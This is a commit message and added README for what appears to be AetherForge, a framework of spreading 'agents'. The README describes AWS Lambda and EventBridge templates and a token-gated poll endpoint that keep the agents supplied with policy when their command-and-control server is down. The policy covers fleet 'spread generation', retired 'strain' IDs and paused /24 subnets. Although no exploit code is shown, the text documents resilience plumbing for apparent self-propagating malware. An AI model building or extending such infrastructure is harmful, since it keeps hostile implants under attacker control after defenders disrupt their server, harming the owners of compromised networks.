Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

templates/spread/aws/policy-fanout/README.txt

@@ -0,0 +1,26 @@
+AetherForge EventBridge policy fan-out (standalone degraded mode)
+===============================================================
+
+No AWS signup required — apply these templates in your own account or skip AWS entirely
+and let agents poll {{POLICY_POLL_URL}} directly every 5 minutes.
+
+Files
+-----
+- cloudformation.json — Lambda + EventBridge rule + IAM (optional API Gateway relay)
+- eventbridge-rule.json — standalone EventBridge rule targeting your relay URL
+- lambda/index.js — fetches policy snapshot from C2 and POSTs to {{WEBHOOK_URL}}
+
+Placeholders (replaced by Emberwake export)
+-------------------------------------------
+  {{SERVER_URL}}       — your command-deck public URL
+  {{POLICY_POLL_URL}}  — lightweight agent poll endpoint (token-gated)
+  {{WEBHOOK_URL}}      — optional EventBridge relay (API Gateway, Lambda URL, etc.)
+
+Snapshot fields
+---------------
+  genesis_version    — max spread_generation across fleet
+  hospice_list       — retired strain IDs
+  vaccination_lanes  — paused /24 subnets with Path Tracer route hints
+
+Agent zero-server mode prefers EventBridge relay URL from the last policy snapshot,
+then poll URL, then 30-minute C2 reconnect.